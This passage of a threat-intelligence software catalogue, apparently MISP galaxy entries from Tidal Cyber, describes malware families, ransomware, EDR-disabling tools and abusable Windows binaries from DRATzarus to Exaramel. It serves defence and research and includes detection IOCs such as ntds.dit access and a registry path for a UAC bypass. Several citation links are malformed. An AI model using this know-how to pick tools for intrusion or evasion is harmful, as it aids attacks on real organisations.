[DRATzarus](https://app.tidalcyber.com/software/c6c79fc5-e4b1-4f6c-a71d-d22d699d5caf) is a remote access tool (RAT) that has been used by [Lazarus Group](https://app.tidalcyber.com/groups/0bc66e95-de93-4de7-b415-4041b7191f08) to target the defense and aerospace organizations globally since at least summer 2020. [DRATzarus](https://app.tidalcyber.com/software/c6c79fc5-e4b1-4f6c-a71d-d22d699d5caf) shares similarities with [Bankshot](https://app.tidalcyber.com/software/24b8471d-698f-48cc-b47a-8fbbaf28b293), which was used by [Lazarus Group](https://app.tidalcyber.com/groups/0bc66e95-de93-4de7-b415-4041b7191f08) in 2017 to target the Turkish financial sector.^{[[ClearSky Lazarus Aug 2020](https://app.tidalcyber.com/references/2827e6e4-8163-47fb-9e22-b59e59cd338f)]}

The tag is: *misp-galaxy:software="DRATzarus"*

Dridex

[Dridex](https://app.tidalcyber.com/software/e3cd4405-b698-41d9-88e4-fff29e7a19e2) is a prolific banking Trojan that first appeared in 2014. By December 2019, the US Treasury estimated [Dridex](https://app.tidalcyber.com/software/e3cd4405-b698-41d9-88e4-fff29e7a19e2) had infected computers in hundreds of banks and financial institutions in over 40 countries, leading to more than $100 million in theft. [Dridex](https://app.tidalcyber.com/software/e3cd4405-b698-41d9-88e4-fff29e7a19e2) was created from the source code of the Bugat banking Trojan (also known as Cridex).^{[[Dell Dridex Oct 2015](https://app.tidalcyber.com/references/f81ce947-d875-4631-9709-b54c8b5d25bc)]}^{[[Kaspersky Dridex May 2017](https://app.tidalcyber.com/references/52c48bc3-2b53-4214-85c3-7e5dd036c969)]}^{[[Treasury EvilCorp Dec 2019](https://app.tidalcyber.com/references/074a52c4-26d9-4083-9349-c14e2639c1bc)]}

The tag is: *misp-galaxy:software="Dridex"*

DRIEDMOAT

DRIEDMOAT is a passive backdoor that has been observed with an embedded certificate stolen from the compromised appliance that it uses to encrypt its C2 communications.^{[[Mandiant UNC4841 August 29 2023](/references/f990745d-06c1-4b0a-8394-66c7a3cf0818)]}^{[[Google Cloud June 18 2024](/references/6dcd59f6-135b-497a-a277-ddc6c77c53ee)]}

The tag is: *misp-galaxy:software="DRIEDMOAT"*

DropBook

[DropBook](https://app.tidalcyber.com/software/9c44d3f9-7a7b-4716-9cfa-640b36548ab0) is a Python-based backdoor compiled with PyInstaller.^{[[Cybereason Molerats Dec 2020](https://app.tidalcyber.com/references/81a10a4b-c66f-4526-882c-184436807e1d)]}

The tag is: *misp-galaxy:software="DropBook"*

Drovorub

[Drovorub](https://app.tidalcyber.com/software/bb7f7c19-ffb5-4bfe-99b1-ead3525c5e7b) is a Linux malware toolset comprised of an agent, client, server, and kernel modules, that has been used by [APT28]([NSA/FBI Drovorub August 2020(https://app.tidalcyber.com/references/d697a342-4100-4e6b-95b9-4ae3ba80924b)]</sup>

The tag is: *misp-galaxy:software="Drovorub"*

dsdbutil

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Dsdbutil is a command-line tool that is built into Windows Server. It is available if you have the AD LDS server role installed. Can be used as a command line utility to export Active Directory.

Author: Ekitji

Paths: * C:\Windows\System32\dsdbutil.exe * C:\Windows\SysWOW64\dsdbutil.exe

Resources: * https://gist.github.com/bohops/88561ca40998e83deb3d1da90289e358 * https://www.netwrix.com/ntds_dit_security_active_directory.html

Detection: * IOC: Event ID 4688 * IOC: dsdbutil.exe process creation * IOC: Event ID 4663 * IOC: Regular and Volume Shadow Copy attempts to read or modify ntds.dit * IOC: Event ID 4656 * IOC: Regular and Volume Shadow Copy attempts to read or modify ntds.dit * Analysis: None Provided * Sigma: None Provided * Elastic: None Provided * Splunk: None Provided * BlockRule: None Provided^{[[dsdbutil.exe - LOLBAS Project](/references/fc982faf-a37d-4d0b-949c-f7a27adc3030)]}

The tag is: *misp-galaxy:software="dsdbutil"*

DSLog

DSLog is a webshell exploiting the Ivanti Server-Side Request Forgery vulnerability (CVE-2024-21893), providing remote access to compromised devices. Evidence of exploitation is found in Ivanti logs, where unauthenticated actors issue SAML authentication requests containing encoded commands. The script checks for modifications to the 'DSLog.pm' Perl script, used for logging events, by searching for 'HTTP_USER_AGENT'. If absent, the backdoor is injected using the 'sed' command at line 102 of the 'DSLog.pm' file.^{[[orangecyberdefense.com February 9 2024](/references/ab2655ae-542c-4e5c-93b6-8db3c2c1543b)]}

The tag is: *misp-galaxy:software="DSLog"*

dsquery

[dsquery](https://app.tidalcyber.com/software/06402bdc-a4a1-4e4a-bfc4-09f2c159af75) is a command-line utility that can be used to query Active Directory for information from a system within a domain. ^{[[TechNet Dsquery](https://app.tidalcyber.com/references/bbbb4a45-2963-4f04-901a-fb2752800e12)]} It is typically installed only on Windows Server versions but can be installed on non-server variants through the Microsoft-provided Remote Server Administration Tools bundle.

The tag is: *misp-galaxy:software="dsquery"*

Dtrack

[Dtrack](https://app.tidalcyber.com/software/aa21462d-9653-48eb-a82e-5c93c9db5f7a) is spyware that was discovered in 2019 and has been used against Indian financial institutions, research facilities, and the Kudankulam Nuclear Power Plant. [Dtrack](https://app.tidalcyber.com/software/aa21462d-9653-48eb-a82e-5c93c9db5f7a) shares similarities with the DarkSeoul campaign, which was attributed to [Lazarus Group](https://app.tidalcyber.com/groups/0bc66e95-de93-4de7-b415-4041b7191f08). ^{[[Kaspersky Dtrack](https://app.tidalcyber.com/references/0122ee35-938d-493f-a3bb-bc75fc808f62)]}^{[[Securelist Dtrack](https://app.tidalcyber.com/references/49bd8841-a4b5-4ced-adfa-0ad0c8625ccd)]}^{[[Dragos WASSONITE](https://app.tidalcyber.com/references/39e6ab06-9f9f-4292-9034-b2f56064164d)]}^{[[CyberBit Dtrack](https://app.tidalcyber.com/references/1ac944f4-868c-4312-8b5d-1580fd6542a0)]}^{[[ZDNet Dtrack](https://app.tidalcyber.com/references/6e6e02da-b805-47d7-b410-343a1b5da042)]}

The tag is: *misp-galaxy:software="Dtrack"*

dtutil

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Microsoft command line utility used to manage SQL Server Integration Services packages.

Author: Avihay Eldad

Paths: * C:\Program Files\Microsoft SQL Server\<version>\DTS\Binn\dtutil.exe * C:\Program Files (x86)\Microsoft SQL Server\<version>\DTS\Binn\dtutil.exe

Resources: * https://learn.microsoft.com/en-us/sql/integration-services/dtutil-utility?view=sql-server-ver16

Detection: None Provided<sup>[[dtutil.exe - LOLBAS Project](/references/dc76db65-5a5a-43ab-

8e84-6cd38a4524a7)]</sup>

The tag is: *misp-galaxy:software="dtutil"*

Dump64

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Memory dump tool that comes with Microsoft Visual Studio

Author: mr.d0x

Paths: * C:\Program Files (x86)\Microsoft Visual Studio\Installer\Feedback\dump64.exe

Resources: * https://twitter.com/mrd0x/status/1460597833917251595

Detection: * Sigma: [proc_creation_win_lolbin_dump64.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_dump64.yml) * IOC: As a Windows SDK binary, execution on a system may be suspicious^{[[Dump64.exe - LOLBAS Project](/references/b0186447-a6d5-40d7-a11d-ab2e9fb93087)]}

The tag is: *misp-galaxy:software="Dump64"*

Dumpert

Dumpert is an open-source tool that provides credential dumping capabilities. It has been leveraged by adversaries including North Korean state-sponsored espionage groups.^{[[GitHub outflanknl Dumpert](/references/ab375812-def9-4491-a69f-62755fb26910)]}^{[[U.S. CISA Andariel July 25 2024](/references/b615953e-3c6c-4201-914c-4b75e45bb9ed)]}

The tag is: *misp-galaxy:software="Dumpert"*

DumpMinitool

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Dump tool part Visual Studio 2022

Author: mr.d0x

Paths: * C:\Program Files\Microsoft Visual

Studio\2022\Community\Common7\IDE\Extensions\TestPlatform\Extensions

Resources: * https://twitter.com/mrd0x/status/1511415432888131586

Detection: * Sigma: [proc_creation_win_dumpminitool_execution.yml](https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_dumpminitool_execution.yml) * Sigma: [proc_creation_win_dumpminitool_susp_execution.yml](https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_dumpminitool_susp_execution.yml) * Sigma: [proc_creation_win_devinit_lolbin_usage.yml]([DumpMinitool.exe - LOLBAS Project(/references/4634e025-c005-46fe-b97c-5d7dda455ba0)]</sup>

The tag is: *misp-galaxy:software="DumpMinitool"*

Duqu

[Duqu](https://app.tidalcyber.com/software/d4a664e5-9819-4f33-8b2b-e6f8e6a64999) is a malware platform that uses a modular approach to extend functionality after deployment within a target network. ^{[[Symantec W32.Duqu](https://app.tidalcyber.com/references/8660411a-6b9c-46c2-8f5f-049ec60c7d40)]}

The tag is: *misp-galaxy:software="Duqu"*

DUSTPAN

[DUSTPAN](https://app.tidalcyber.com/software/78454d3f-fa12-5b6f-9390-6412064d7c8d) is an in-memory dropper written in C/C++ used by [APT41](https://app.tidalcyber.com/groups/502223ee-8947-42f8-a532-a3b3da12b7d9) since 2021 that decrypts and executes an embedded payload.^{[[Google Cloud APT41 2024](https://app.tidalcyber.com/references/33bb9f8a-db9d-5dda-b4ae-2ba7fee0a0ae)]}^{[[Google Cloud APT41 2022](https://app.tidalcyber.com/references/c65cfdde-bc7f-5cd2-b1ee-066b7cc2eb6a)]}

The tag is: *misp-galaxy:software="DUSTPAN"*

DUSTTRAP

[DUSTTRAP](https://app.tidalcyber.com/software/ed72d5bb-2cf7-51a4-9d76-97fbd11c54d0) is a multi-stage plugin framework associated with [APT41](https://app.tidalcyber.com/groups/502223ee-8947-42f8-a532-a3b3da12b7d9) operations with multiple components.^{[[Google Cloud APT41 2024](https://app.tidalcyber.com/references/33bb9f8a-db9d-5dda-b4ae-2ba7fee0a0ae)]}

The tag is: *misp-galaxy:software="DUSTTRAP"*

DustySky

[DustySky](https://app.tidalcyber.com/software/77506f02-104f-4aac-a4e0-9649bd7efe2e) is multi-

stage malware written in .NET that has been used by [Molerats](https://app.tidalcyber.com/groups/679b7b6b-9659-4e56-9ffd-688a6fab01b6) since May 2015. ^{[[DustySky](https://app.tidalcyber.com/references/b9e0770d-f54a-4ada-abd1-65c45eee00fa)]} ^{[[DustySky2](https://app.tidalcyber.com/references/4a3ecdec-254c-4eb4-9126-f540bb21dffe)]}^{[[Kaspersky MoleRATs April 2019](https://app.tidalcyber.com/references/38216a34-5ffd-4e79-80b1-7270743b728e)]}

The tag is: *misp-galaxy:software="DustySky"*

Dxcap

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: DirectX diagnostics/debugger included with Visual Studio.

Author: Oddvar Moe

Paths: * C:\Windows\System32\dxcap.exe * C:\Windows\SysWOW64\dxcap.exe

Resources: * https://twitter.com/harr0ey/status/992008180904419328

Detection: * Sigma: [proc_creation_win_lolbin_susp_dxcap.yml]([Dxcap.exe - LOLBAS Project](/references/7611eb7a-46b7-4c76-9728-67c1fbf20e17)]</sup>

The tag is: *misp-galaxy:software="Dxcap"*

Dyre

[Dyre](https://app.tidalcyber.com/software/38e012f7-fb3a-4250-a129-92da3a488724) is a banking Trojan that has been used for financial gain. ^{[[Symantec Dyre June 2015](https://app.tidalcyber.com/references/a9780bb0-302f-44c2-8252-b53d94da24e6)]}^{[[Malwarebytes Dyreza November 2015](https://app.tidalcyber.com/references/0a5719f2-8a88-44e2-81c5-2d16a39f1f8d)]}

The tag is: *misp-galaxy:software="Dyre"*

Earthworm

Earthworm is an open-source tool. According to its project website, Earthworm is a "simple network tunnel with SOCKS v5 server and port transfer".^{[[Elastic Docs Potential Protocol Tunneling via EarthWorm](/references/a02790a1-f7c5-43b6-bc7e-075b2c0aa791)]} According to joint Cybersecurity Advisory AA23-144a (May 2023), Volt Typhoon actors have used Earthworm in their attacks.^{[[U.S. CISA Volt Typhoon May 24 2023](/references/12320f38-ebbf-486a-a450-8a548c3722d6)]}

The tag is: *misp-galaxy:software="Earthworm"*

Ebury

[Ebury](https://app.tidalcyber.com/software/2375465a-e6a9-40ab-b631-a5b04cf5c689) is an OpenSSH backdoor and credential stealer targeting Linux servers and container hosts developed by [Windigo](https://app.tidalcyber.com/groups/eeb69751-8c22-4a5f-8da2-239cc7d7746c). [Ebury](https://app.tidalcyber.com/software/2375465a-e6a9-40ab-b631-a5b04cf5c689) is primarily installed through modifying shared libraries (`.so` files) executed by the legitimate OpenSSH program. First seen in 2009, [Ebury](https://app.tidalcyber.com/software/2375465a-e6a9-40ab-b631-a5b04cf5c689) has been used to maintain a botnet of servers, deploy additional malware, and steal cryptocurrency wallets, credentials, and credit card details.^{[[ESET Ebury Feb 2014](https://app.tidalcyber.com/references/eb6d4f77-ac63-4cb8-8487-20f9e709334b)]}^{[[BleepingComputer Ebury March 2017](https://app.tidalcyber.com/references/e5d69297-b0f3-4586-9eb7-d2922b3ee7bb)]}^{[[ESET Ebury Oct 2017](https://app.tidalcyber.com/references/5257a8ed-1cc8-42f8-86a7-8c0fd0e553a7)]}^{[[ESET Ebury May 2024](https://app.tidalcyber.com/references/7df9b7ed-ecac-5432-9fc2-8961fc315415)]}

The tag is: *misp-galaxy:software="Ebury"*

ECCENTRICBANDWAGON

[ECCENTRICBANDWAGON](https://app.tidalcyber.com/software/70f703b3-0e24-4ffe-9772-f0e386ec607f) is a remote access Trojan (RAT) used by North Korean cyber actors that was first identified in August 2020. It is a reconnaissance tool—with keylogging and screen capture functionality—used for information gathering on compromised systems.^{[[CISA EB Aug 2020](https://app.tidalcyber.com/references/a1b143f9-ca85-4c11-8909-49423c9ffeab)]}

The tag is: *misp-galaxy:software="ECCENTRICBANDWAGON"*

echo

In computing, echo is a command that outputs the strings that are passed to it as arguments. It is a command available in various operating system shells and typically used in shell scripts and batch files to output status text to the screen or a computer file, or as a source part of a pipeline.^{[[Wikimedia Foundation Inc. June 25 2004](/references/0291041b-70ba-460c-8a59-4c0799604f46)]}

The tag is: *misp-galaxy:software="echo"*

Ecipekac

[Ecipekac](https://app.tidalcyber.com/software/6508d3dc-eb22-468c-9122-dcf541caa69c) is a multi-layer loader that has been used by [menuPass](https://app.tidalcyber.com/groups/fb93231d-2ae4-45da-9dea-4c372a11f322) since at least 2019 including use as a loader for [P8RAT](https://app.tidalcyber.com/software/1933ad3d-3085-4b1b-82b9-ac51b440e2bf),

[SodaMaster](https://app.tidalcyber.com/software/6ecd970c-427b-4421-a831-69f46047d22a), and [FYAnti]([Securelist APT10 March 2021(https://app.tidalcyber.com/references/90450a1e-59c3-491f-b842-2cf81023fc9e)]</sup>

The tag is: *misp-galaxy:software="Ecipekac"*

EDRKillShifter

EDRKillShifter is a suspected threat actor-developed tool that is designed to disable victim endpoint detection & response (EDR) software. In August 2024, security researchers reported that the RansomHub ransomware group had deployed EDRKillShifter during attacks in May. The researchers also noted that EDRKillShifter primarily functions as a loader for payloads that could vary. This object mainly reflects ATT&CK Techniques associated with observed EDRKillShifter loader and payload deployments reported in August 2024.^{[[Sophos News August 14 2024](/references/d0811fd4-e89d-4337-9bc1-a9a8774d44b1)]}

The tag is: *misp-galaxy:software="EDRKillShifter"*

EDRSandBlast

An open-source, multi-purpose tool with defense evasion, credential dumping, and privilege escalation capabilities, observed in use during ransomware intrusions.^{[[GitHub wavestone-cdt EDRSandBlast](/references/228dd3e1-1952-447c-a500-31663a2efe45)]}^{[[Morphisec September 3 2024](/references/90549699-8815-45e8-820c-4f5a7fc584b8)]}

The tag is: *misp-galaxy:software="EDRSandBlast"*

EDRSilencer

EDRSilencer is an open-source tool designed to disrupt the functionality of endpoint detection and response (EDR) solutions by leveraging the Windows Filtering Platform (WFP), a Microsoft Windows framework specifically created to facilitate security solution operations.^{[[Trend Micro October 15 2024](/references/7c49c1fd-0a02-457d-97d2-13e72f489f1f)]}

The tag is: *misp-galaxy:software="EDRSilencer"*

Edumper

A credential dumping tool associated with Iran-linked espionage group OilRig.^{[[ESET OilRig September 21 2023](/references/21ee3e95-ac4b-48f7-b948-249e1884bc96)]}

The tag is: *misp-galaxy:software="Edumper"*

Egregor

[Egregor](https://app.tidalcyber.com/software/0e36b62f-a6e2-4406-b3d9-e05204e14a66) is a Ransomware-as-a-Service (RaaS) tool that was first observed in September 2020. Researchers have

noted code similarities between [Egregor](https://app.tidalcyber.com/software/0e36b62f-a6e2-4406-b3d9-e05204e14a66) and Sekhmet ransomware, as well as [Maze](https://app.tidalcyber.com/software/3c206491-45c0-4ff7-9f40-45f9aae4de64) ransomware.^{[[NHS Digital Egregor Nov 2020](https://app.tidalcyber.com/references/92f74037-2a20-4667-820d-2ccc0e4dbd3d)]}^{[[Cyble Egregor Oct 2020](https://app.tidalcyber.com/references/545a131d-88fc-4b34-923c-0b759b45fc7f)]}^{[[Security Boulevard Egregor Oct 2020](https://app.tidalcyber.com/references/cd37a000-9e15-45a3-a7c9-bb508c10e55d)]}

The tag is: *misp-galaxy:software="Egregor"*

eHorus

A legitimate remote access software tool used by adversaries to facilitate command and control activity and usually for additional purposes.^{[[U.S. CISA Medusa Ransomware March 12 2025](/references/16dc8fe1-73fa-4f8a-92a0-b1fac2908c47)]}

The tag is: *misp-galaxy:software="eHorus"*

EKANS

[EKANS](https://app.tidalcyber.com/software/cd7821cb-32f3-4d81-a5d1-0cdee94a15c4) is ransomware variant written in Golang that first appeared in mid-December 2019 and has been used against multiple sectors, including energy, healthcare, and automotive manufacturing, which in some cases resulted in significant operational disruptions. [EKANS](https://app.tidalcyber.com/software/cd7821cb-32f3-4d81-a5d1-0cdee94a15c4) has used a hard-coded kill-list of processes, including some associated with common ICS software platforms (e.g., GE Proficy, Honeywell HMIWeb, etc), similar to those defined in [MegaCortex]([Dragos EKANS(https://app.tidalcyber.com/references/c8a018c5-caa3-4af1-b210-b65bbf94c8b2)]</sup>^{[[Palo Alto Unit 42 EKANS](https://app.tidalcyber.com/references/dcdd4e48-3c3d-4008-a6f6-390f896f147b)]}

The tag is: *misp-galaxy:software="EKANS"*

Eldorado Ransomware

This object reflects the ATT&CK Techniques associated with binaries of Eldorado, a ransomware-as-a-service ("RaaS") first observed in March 2024.^{[[Group-IB July 3 2024](/references/50148a85-314c-4b29-bdfc-913ab647dadf)]} A small number of Techniques associated with threat actors who deploy Eldorado can be found in the "Eldorado Ransomware Operators" Group object.

Eldorado is written in the cross-platform Golang language. A custom "builder" allows threat actors to create both Windows- and Linux-focused versions of the ransomware. Researchers indicate that the Linux version has a relatively simple set of capabilities, lacking any native discovery, defense evasion, or other common post-exploit abilities common in many modern (Windows) ransomware. The operator must have access to the target system(s) and must provide a target directory path, after which the ransomware will recursively loop through the files within that path and encrypt them (T1486).^{[[Group-IB July 3 2024](/references/50148a85-314c-4b29-bdfc-913ab647dadf)]}

The tag is: *misp-galaxy:software="Eldorado Ransomware"*

Elise

[Elise](https://app.tidalcyber.com/software/fd5efee9-8710-4536-861f-c88d882f4d24) is a custom backdoor Trojan that appears to be used exclusively by [Lotus Blossom](https://app.tidalcyber.com/groups/2849455a-cf39-4a9f-bd89-c2b3c1e5dd52). It is part of a larger group of tools referred to as LStudio, ST Group, and APT0LSTU.^{[[Lotus Blossom Jun 2015](https://app.tidalcyber.com/references/46fdb8ca-b14d-43bd-a20f-cae7b26e56c6)]}^{[[Accenture Dragonfish Jan 2018](https://app.tidalcyber.com/references/f692c6fa-7b3a-4d1d-9002-b1a59f7116f4)]}

The tag is: *misp-galaxy:software="Elise"*

ELMER

[ELMER](https://app.tidalcyber.com/software/6a3ca97e-6dd6-44e5-a5f0-7225099ab474) is a non-persistent, proxy-aware HTTP backdoor written in Delphi that has been used by [APT16](https://app.tidalcyber.com/groups/06a05175-0812-44f5-a529-30eba07d1762). ^{[[FireEye EPS Awakens Part 2](https://app.tidalcyber.com/references/7fd58ef5-a0b7-40b6-8771-ca5e87740965)]}

The tag is: *misp-galaxy:software="ELMER"*

Embargo Ransomware

Embargo is a ransomware strain written in Rust, which Microsoft researchers described as leveraging "advanced encryption methods". The Storm-0501 group was observed deploying Embargo during a compromise of a U.S. victim’s hybrid on-premise/cloud environment in Q3 2024.^{[[Microsoft Security Blog September 26 2024](/references/bf05138b-f690-4b0f-ba10-9af71f7d9bfc)]}

The tag is: *misp-galaxy:software="Embargo Ransomware"*

Emissary

[Emissary](https://app.tidalcyber.com/software/fd95d38d-83f9-4b31-8292-ba2b04275b36) is a Trojan that has been used by [Lotus Blossom](https://app.tidalcyber.com/groups/2849455a-cf39-4a9f-bd89-c2b3c1e5dd52). It shares code with [Elise](https://app.tidalcyber.com/software/fd5efee9-8710-4536-861f-c88d882f4d24), with both Trojans being part of a malware group referred to as LStudio.^{[[Lotus Blossom Dec 2015](https://app.tidalcyber.com/references/dcbe51a0-6d63-4401-b19e-46cd3c42204c)]}

The tag is: *misp-galaxy:software="Emissary"*

Emotet

[Emotet](https://app.tidalcyber.com/software/c987d255-a351-4736-913f-91e2f28d0654) is a modular

malware variant which is primarily used as a downloader for other malware variants such as [TrickBot](https://app.tidalcyber.com/software/c2bd4213-fc7b-474f-b5a0-28145b07c51d) and [IcedID](https://app.tidalcyber.com/software/7f59bb7c-5fa9-497d-9d8e-ba9349fd9433). Emotet first emerged in June 2014, initially targeting the financial sector, and has expanded to multiple verticals over time.^{[[Trend Micro Banking Malware Jan 2019](https://app.tidalcyber.com/references/4fee21e3-1b8f-4e10-b077-b59e2df94633)]}

The tag is: *misp-galaxy:software="Emotet"*

Empire

[Empire](https://app.tidalcyber.com/software/fea655ac-558f-4dd0-867f-9a5553626207) is an open source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure [PowerShell](https://app.tidalcyber.com/technique/6ca7838a-e8ad-43e8-9da6-15b640d1cbde) for Windows and Python for Linux/macOS. [Empire](https://app.tidalcyber.com/software/fea655ac-558f-4dd0-867f-9a5553626207) was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.^{[[NCSC Joint Report Public Tools](https://app.tidalcyber.com/references/601d88c5-4789-4fa8-a9ab-abc8137f061c)]}^{[[Github PowerShell Empire](https://app.tidalcyber.com/references/017ec673-454c-492a-a65b-10d3a20dfdab)]}^{[[GitHub ATTACK Empire](https://app.tidalcyber.com/references/b3d6bb33-2b23-4c0a-b8fa-e002a5c7edfc)]}

The tag is: *misp-galaxy:software="Empire"*

enum4linux

enum4linux is a Linux alternative to enum.exe for enumerating data from Windows and Samba hosts.^{[[Portcullis Labs September 16 2008](/references/2d227339-250d-468c-b6da-a034754bc995)]}

The tag is: *misp-galaxy:software="enum4linux"*

EnvyScout

[EnvyScout](https://app.tidalcyber.com/software/8da6fbf0-a18d-49a0-9235-101300d49d5e) is a dropper that has been used by [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) since at least 2021.^{[[MSTIC Nobelium Toolset May 2021](https://app.tidalcyber.com/references/52464e69-ff9e-4101-9596-dd0c6404bf76)]}

The tag is: *misp-galaxy:software="EnvyScout"*

Epic

[Epic](https://app.tidalcyber.com/software/a7e71387-b276-413c-a0de-4cf07e39b158) is a backdoor that has been used by [Turla](https://app.tidalcyber.com/groups/47ae4fb1-fc61-4e8e-9310-66dda706e1a2). <sup>[[Kaspersky Turla](https://app.tidalcyber.com/references/535e9f1a-f89e-4766-

a290-c5b8100968f8)]</sup>

The tag is: *misp-galaxy:software="Epic"*

esentutl

[esentutl](https://app.tidalcyber.com/software/a7589733-6b04-4215-a4e7-4b62cd4610fa) is a command-line tool that provides database utilities for the Windows Extensible Storage Engine.^{[[Microsoft Esentutl](https://app.tidalcyber.com/references/08fb9e84-495f-4710-bd1e-417eb8191a10)]}

The tag is: *misp-galaxy:software="esentutl"*

esxcli

The ESXCLI tool allows for remote management of ESXi hosts by using the ESXCLI command set.^{[[ESXCLI Overview](/references/1b612b14-8fcd-4e2a-ac4d-41190289471d)]}

The tag is: *misp-galaxy:software="esxcli"*

Eventvwr

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Displays Windows Event Logs in a GUI window.

Author: Jacob Gajek

Paths: * C:\Windows\System32\eventvwr.exe * C:\Windows\SysWOW64\eventvwr.exe

Resources: * https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ * https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1 * https://twitter.com/orange_8361/status/1518970259868626944

Detection: * Sigma: [proc_creation_win_uac_bypass_eventvwr.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_uac_bypass_eventvwr.yml) * Sigma: [registry_set_uac_bypass_eventvwr.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/registry/registry_set/registry_set_uac_bypass_eventvwr.yml) * Sigma: [file_event_win_uac_bypass_eventvwr.yml](https://github.com/SigmaHQ/sigma/blob/197615345b927682ab7ad7fa3c5f5bb2ed911eed/rules/windows/file/file_event/file_event_win_uac_bypass_eventvwr.yml) * Elastic:

[privilege_escalation_uac_bypass_event_viewer.toml](https://github.com/elastic/detection-rules/blob/d31ea6253ea40789b1fc49ade79b7ec92154d12a/rules/windows/privilege_escalation_uac_bypass_event_viewer.toml) * Splunk: [eventvwr_uac_bypass.yml](https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/eventvwr_uac_bypass.yml) * IOC: eventvwr.exe launching child process other than mmc.exe * IOC: Creation or modification of the registry value HKCU\Software\Classes\mscfile\shell\open\command^{[[Eventvwr.exe - LOLBAS Project](/references/0c09812a-a936-4282-b574-35a00f631857)]}

The tag is: *misp-galaxy:software="Eventvwr"*

Everything

Voidtools' Everything tool has been used by NightSpire actors for scanning directories and file enumeration.^{[[S-RM March 25 2025](/references/ffa47884-4eef-445e-99e3-02f64cc2f7fc)]}

The tag is: *misp-galaxy:software="Everything"*

EvilBunny

[EvilBunny](https://app.tidalcyber.com/software/300e8176-e7ee-44ef-8d10-dff96502f6c6) is a C++ malware sample observed since 2011 that was designed to be a execution platform for Lua scripts.^{[[Cyphort EvilBunny Dec 2014](https://app.tidalcyber.com/references/a0218d0f-3378-4508-9d3c-a7cd3e00a156)]}

The tag is: *misp-galaxy:software="EvilBunny"*

EvilGinx

EvilGinx is an open-source software project. According to its GitHub repository, EvilGinx is a "Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication".^{[[GitHub evilginx2](/references/eea178f4-80bd-49d1-84b1-f80671e9a3e4)]}

The tag is: *misp-galaxy:software="EvilGinx"*

EvilGrab

[EvilGrab](https://app.tidalcyber.com/software/e862419c-d6b6-4433-a02a-c1cc98ea6f9e) is a malware family with common reconnaissance capabilities. It has been deployed by [menuPass](https://app.tidalcyber.com/groups/fb93231d-2ae4-45da-9dea-4c372a11f322) via malicious Microsoft Office documents as part of spearphishing campaigns. ^{[[PWC Cloud Hopper Technical Annex April 2017](https://app.tidalcyber.com/references/da6c8a72-c732-44d5-81ac-427898706eed)]}

The tag is: *misp-galaxy:software="EvilGrab"*

EVILNUM

[EVILNUM](https://app.tidalcyber.com/software/e0eaae6d-5137-4053-bf37-ff90bf5767a9) is fully capable backdoor that was first identified in 2018. [EVILNUM](https://app.tidalcyber.com/software/e0eaae6d-5137-4053-bf37-ff90bf5767a9) is used by the APT group [Evilnum](https://app.tidalcyber.com/groups/4bdc62c9-af6a-4377-8431-58a6f39235dd) which has the same name.^{[[ESET EvilNum July 2020](https://app.tidalcyber.com/references/6851b3f9-0239-40fc-ba44-34a775e9bd4e)]}^{[[Prevailion EvilNum May 2020](https://app.tidalcyber.com/references/533b8ae2-2fc3-4cf4-bcaa-5d8bfcba91c0)]}

The tag is: *misp-galaxy:software="EVILNUM"*

Exaramel for Linux

[Exaramel for Linux](https://app.tidalcyber.com/software/c773f709-b5fe-4514-9d88-24ceb0dd8063) is a backdoor written in the Go Programming Language and compiled as a 64-bit ELF binary. The Windows version is tracked separately under [Exaramel for Windows]([ESET TeleBots Oct 2018 (https://app.tidalcyber.com/references/56372448-03f5-49b5-a2a9-384fbd49fefc)]</sup>

The tag is: *misp-galaxy:software="Exaramel for Linux"*

Exaramel for Windows

